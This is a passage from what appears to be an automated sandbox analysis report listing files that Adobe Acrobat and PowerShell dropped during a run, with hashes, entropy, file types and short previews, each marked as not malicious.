SHA-512:	9EF400824E284442839DC5E8F55520A75FA029CE267386F7AFA7F1B48B0E9FA43454301FCD548E7AB056CBC86E3266E00C84659BED3A314CDCF01BD9513CCF72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.271165863556174
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJfbPtdPeUkwRe9:YvXKXFH0R9clJGDV8Ukee9
MD5:	83CF17F589FB2AC26244FC48EEBA68C0
SHA1:	4E133A1F004A7FE94E17E0B6109BABB6FC18926A
SHA-256:	8ACD33BA0CAEA76D91714A79E2ED5F8EA3E003E99F2D3D648D54BC31AC4F7941
SHA-512:	A52E679E16680E4D49524921F827BADCFA636C7263D22AE479990D34C6914C142D38D177CE5FE4AD4F5C57C0D040D8F20A159C2B5DF9453F439DF7A4FE7A1B1C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.274374623115498
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJf21rPeUkwRe9:YvXKXFH0R9clJG+16Ukee9
MD5:	68470122993C743E31C2B999A4917A6F
SHA1:	61E0B067F37E409825172E667A8BD34C45B33215
SHA-256:	A5F967F3FC202A122EFE852AB612E1BB6EA6CBD576725EF8D4A7CBC7AA06796D
SHA-512:	96F56BF9F77910FC635AC3DCA773F4E634156A0494B8AB8E6C5B6F417FBDC24BE42186DA05C2F3A30C39866CF3371646472581B1D428B4318830B24A8203BFD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66587991327603
Encrypted:	false
SSDEEP:	24:Yv6X2RClSamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2g4:YvisBgkDMUJUAh8cvM2/
MD5:	90358FFC2EE63C2AB821F4477C5F0D39
SHA1:	83748E02DDC3AB8755085A9AC7BDAB1AC87B0417
SHA-256:	3193933BA387BE13C49A92B630FC951B0AAE7EF99D319C3C48E8384FA51E8DC3
SHA-512:	3BB1F32020E2DB5078E0623468F0645B4A3EEB38629138F7796F3909B0CD97574A71B645566CAF8849A4A642E051F1E3007C017C68BD91CD0923764E0696FD41
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.251788211987698
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJfshHHrPeUkwRe9:YvXKXFH0R9clJGUUUkee9
MD5:	906874C6DF837A4B8451BE1CEF4EC2CD
SHA1:	E6DA364F65DB271BB9FEA4C12C7E70BEADAA9039
SHA-256:	D57BEE61A3BAFF83E40E19C35A3DD9701E046C540832B7BDBBAA8B62CEAC329B
SHA-512:	02C10D0BB5903D2622C52DA04593654B3624639D3A7C9C6AD2B8EDFBE65E8E056754C29762160C6822466501986C31FA500EB5C9FFA0827E05ED76317C4F7372
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.262430408151578
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFHTwJR1VEGnZiQ0Y+6oAvJTqgFCrPeUkwRe9:YvXKXFH0R9clJGTq16Ukee9
MD5:	9170DF70FBE0EDA1714D68963E1E50EF
SHA1:	79B244D900FF0C281E556C479A67927480034209
SHA-256:	7072DAA14D247A7132F5DB7EE1788CDC4A29CF8A10113CAF321B13DB3D3B842F
SHA-512:	5204115EDDB5D290D266253A0EF9DCDE8EFBD19912D49CC464A28B84971319846F42FF71E8B4A067CFDE5DFBF271FD1501323D38E35A43B793D661E85D3FC693
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"246ee0d7-b4b4-4c43-a246-fb5fd37ee8a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748377988,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14361750435429
Encrypted:	false
SSDEEP:	48:YXIfp6raEdSPRukjffFV+bPPjtebcUtMnM5EgCh9BdKmVb:8Qp6raEdSPRukjffFVMPLEbFtMnM5E7J
MD5:	B74F85F23FAF9D7CEC520C2CF1D0FC56
SHA1:	224A6EE9B3B89B5F4820A7F96FF507528E21809B
SHA-256:	D54384623791259B9060E1C6B07696FEF11E56D0F1E3D27ECA61803165FC0CD6
SHA-512:	9915C397E20F4D76A52BA99E9394CDC7642E9361B58CC7A9199EE7AD72AADBD0FDD08C5DE414E40A54F6F69ED8C6DDD42FFBBE8FD82764D239190F04926580EC
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"6f58841ec1f747f992df6e41fcfc0d06","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736572742000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"db869e6832b951fee4ab789f52a1b866","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736572742000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b5c091da5de5c0298ead8fb941383335","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736572742000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3912cde946cdc60116420eedf0534984","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736572742000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2d3f916c05444a0aa2586d68e59570a9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736572742000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0ddb133d29897e73dc8befcd03ff69c4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1464985546735376
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urshvNRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudV:TFl2GL7ms/Xc+XcGNFlRYIX2v3kS
MD5:	56E679CEF0FD29EBDCCFD980CD0FB487
SHA1:	B5FE9C7C69882C50781DE2337031E7D03FAFCD14
SHA-256:	6ADC35F64E6A4FBCF4AB8A275510B513CEAE499DB6D1575FF5607E4B7F5ADBA8
SHA-512:	34FD48140E72F02DF898CD063DE64611EFB4BEB19B9E3277DF12AFE5A3F0A7E980433EE12903B4428759EB1D95536F1A2A560EBE8AE190A94D4415EBF145DF27
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5527617991698222
Encrypted:	false
SSDEEP:	24:7+tkkvNUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxcqLxx/XG:7MEXc+XcGNFlRYIX2v1qVl2GL7msw
MD5:	EECB1DA1295C4681AAC99F5AF901C1C2
SHA1:	C2B3166983F8FA4B9B792FF5F87B6B590D7821C7
SHA-256:	C0C8F6ADA3FDF715BDCCB79518AE5857486860A71974049958F1D5BE0408BF6C
SHA-512:	1095B6346F45EF37551645EE3713D7230D2E26AA64B6F329AF8B334234BA91E15E6B8A081B5DDB897820BEE99D88F10FF8C0AAA602854C931887C52757D70863
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgiBJjGdlCLJ1EuesE4kAYQBYXLHYyu:6a6TZ44ADEmJElCvEuRBILHK
MD5:	B1664073E0FEA1366D2008DE47E4F971
SHA1:	18F6768C411F444E9A0E5C079E78C90D5AFA5E6D
SHA-256:	D1E890BE0FB334A55375FF91BF70F5EA1D3C12E44331D2EDCDFEE6C25DD06002
SHA-512:	098AD2C8C7A2BA4C3D602679CF12B79F88B336192540B1DED0B6421441EE6B86D5F582F20D1B09B45622856AD55DE52D968161D6DF42D4F51466356E1F89DAA4
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI6cd7f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClPH:Qw946cPbiOxDlbYnuRKd4H
MD5:	DF31C5937DEC72993803415400833027
SHA1:	A86219E75E2ED69E75D6BC618AD9F20A89934EB9
SHA-256:	123DBBF299563C7C7A48AFA5215DF6AAEF4302534EE41F2C4CC54F7BB5A0EABE
SHA-512:	8BE696B169ABE1D1DE47364D64B84CD2CBD39400DF052291272689BCAB13DD9BFBE1BD9109C4C3A266E3C4919A27D6E632E44F3090F5F65FB1C661E44C8B663F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.1.9.:.0.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5vsyj1aj.3yd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uo3ntn5b.k0g.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-18-56-183.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.358986469656322
Encrypted:	false
SSDEEP:	384:AYViVfVaVkVdVLJWT9mg8KWdlYljCjPQQPq5hCt+1Z7zjv6SqN7o41lDjzmJmHu+:jQxoO/JUq
MD5:	F0A20EE6D0ADAACCBFC37A5DA5EE2B97
SHA1:	36F5BB7C6288F36912369C9CE5379D597AB547C5
SHA-256:	E544CECF8DF75A51CAACB228C4D1AFE0B0189808B13BBF8C9229F418EFA936C6
SHA-512:	769711F54D15D679874B23399E95265AFD5D3A542AAD74DF3AAB440655932595E78C3C1E8ED42FC0A62E6CC2FF17E7F27416E972E03E8F13016842D2553DAE2C
Malicious:	false
Preview:	SessionID=cf60ba29-4407-415c-9a4d-83a30fd07ae0.1736572736198 Timestamp=2025-01-11T00:18:56:198-0500 ThreadID=7632 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=cf60ba29-4407-415c-9a4d-83a30fd07ae0.1736572736198 Timestamp=2025-01-11T00:18:56:199-0500 ThreadID=7632 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=cf60ba29-4407-415c-9a4d-83a30fd07ae0.1736572736198 Timestamp=2025-01-11T00:18:56:199-0500 ThreadID=7632 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=cf60ba29-4407-415c-9a4d-83a30fd07ae0.1736572736198 Timestamp=2025-01-11T00:18:56:199-0500 ThreadID=7632 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=cf60ba29-4407-415c-9a4d-83a30fd07ae0.1736572736198 Timestamp=2025-01-11T00:18:56:199-0500 ThreadID=7632 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403894498089199
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbccbkIjncbx:V3fOCIdJDe5jE
MD5:	0789FC76317FEA403B431A94C79B3D72
SHA1:	DBA72EF0526ACBB510C2FD62C3698ACB7E774F5F
SHA-256:	658898940DFCE8E1E922D66F3D23094FE12236D314FF9C13BC085113D3C3DF57
SHA-512:	28FF08224FC6F0371650653BF6BDEAA958941745281E928760142DF3E2BC8AF03993DFD9955FB05562CCD222334BE514526B9D0E71243C7E781B96BA1F2E920E
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0b8b993d-1eb6-46a8-8ade-71e550efe066.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6270fabb-fb0e-4bad-9c0e-11ebd746fdbc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:GqA7ouWLaGZ7wYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:5VuWLaGZ7wZGk3mlind9i4ufFXpAXkru
MD5:	0ED4EAD3F32C9D7222680E5A0B2D7509
SHA1:	1CF2B53D8A7FC2CC60EF7F91064CE6C26FC215C0
SHA-256:	350AD76E8AB667F6132C0164A0654BEB1F3A3DFA7EDEBE8940643CD4ECDA2E65
SHA-512:	A99FAF99309654126F58BEF9B274E0286BE282B848B94D93E8230BBCBE7C36CA9D2DFE694709C3932ABDBC0FB243FBD65CDA6180CB39C807ACA058F0590B1D40
Malicious:	false
Preview:	...........}.s.H....W`E.........M9h...q..p......%..!q.p....~..2......DlWtW!)?_.\|....?..?.s.w1.i..G...h6.]..y...p..m.b..N..rr..F..Xc...l.4.."..Q.... hL.p......s...x6..:.....x.~.6.Q..~......~b7..k.l......Yc.G[....hY3...C..n..\|.'6......i4f...,.."...O.b...x..,..jgc..bTn....,u.F..0......V.K,u..p....X.wAap...+.G..v....i.z...E.Rj8.a.r..<@.q.'...!.4..]...\|..3...-.2...`...4..i...w......$0D.....i./a......Z.]..e.mj..c}.?.....o......c...W..+....c...W...?8...n.......U..7..O........@....'...^.z..=.m....o.o<..~....... ...C{......w.m.h.-Q...6.(..uk/w!...Z..n.....p.U........T^w..[....1l...../i......0..1U\|}../xS}.q..B\|.......h>....S....g...A.s6.=.&....~.\.......-N.p...._.xex.....}.r..q$..<.S;l=. ..P..55;....[.}.T......d.p..vd'vl.].DN..o...................D...].......I}.t...D`?..n.A.zT..:@.`S5.K..,R....h...XzT....F..Xt...R...+N.....ee...P...F+C.....dq...r..5..aP.zY....c.f/..Pn...:f.>.Z..s.+.......7...O.C.#..6.....=.K.5{.%6,..Z.....DqZ.4....g-%.p..n...\

C:\Users\user\AppData\Local\Temp\acrocef_low\96b7f911-8719-406e-b434-47792a9f2da3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
